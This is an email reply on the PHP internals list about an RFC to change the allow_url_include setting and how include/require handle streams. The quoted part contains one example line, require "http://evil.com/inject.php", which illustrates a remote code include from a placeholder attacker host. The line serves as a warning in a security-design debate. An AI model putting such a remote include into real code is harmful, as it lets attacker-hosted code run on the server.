Hi Stas, On Fri, Feb 27, 2015 at 7:52 AM, Stanislav Malyshev <smalys...@gmail.com> wrote:
> > SInce allow_url_include change is very simple one, I've just made new RFC > > for it. > > > > https://wiki.php.net/rfc/allow_url_include > > > > If you find any other issue like this that relates to this RFC, please > > let me know > > I'll put this discussion shortly. > > I'm not sure what this RFC is trying to achieve. I.e. why make it > INI_ALL? Setting it to off instantly allows remote includes, etc. so if > you are at all worried about vulnerable includes, you'd never tell > anybody to enable it (there can be rare cases where you want to enable > it, but really if you know what you're doing - that's why the level is > so high, supposedly if you have access to SYSTEM, you run the server so > you're supposed to know some stuff about security or at least it's your > own server you're ruining if you don't). > > As for the second part - banning all streams from allow_url_include - > that would be pretty huge BC break, as streams are used in many > scenarios where you may need virtual FSs, filters, etc. It is a very > handy tool. Current setting allows you to operate inside your local > security domain while cutting off content that comes from outside of > your domain. Your proposal would give the user the choice of either to > disable streams completely and lose all benefits coming with them - or > allow everything completely, including require > "http://evil.com/inject.php";. That's not a good choice to give to the > users. I've updated the RFC so that allow_url_include be a include/require parameter. Since include/require parse and load another script, INI doesn't work well. It's parameter now, so BC wouldn't be huge. I'm not using phar regularly, feedback from phar users are welcomed. Regards, -- Yasuo Ohgaki yohg...@ohgaki.net
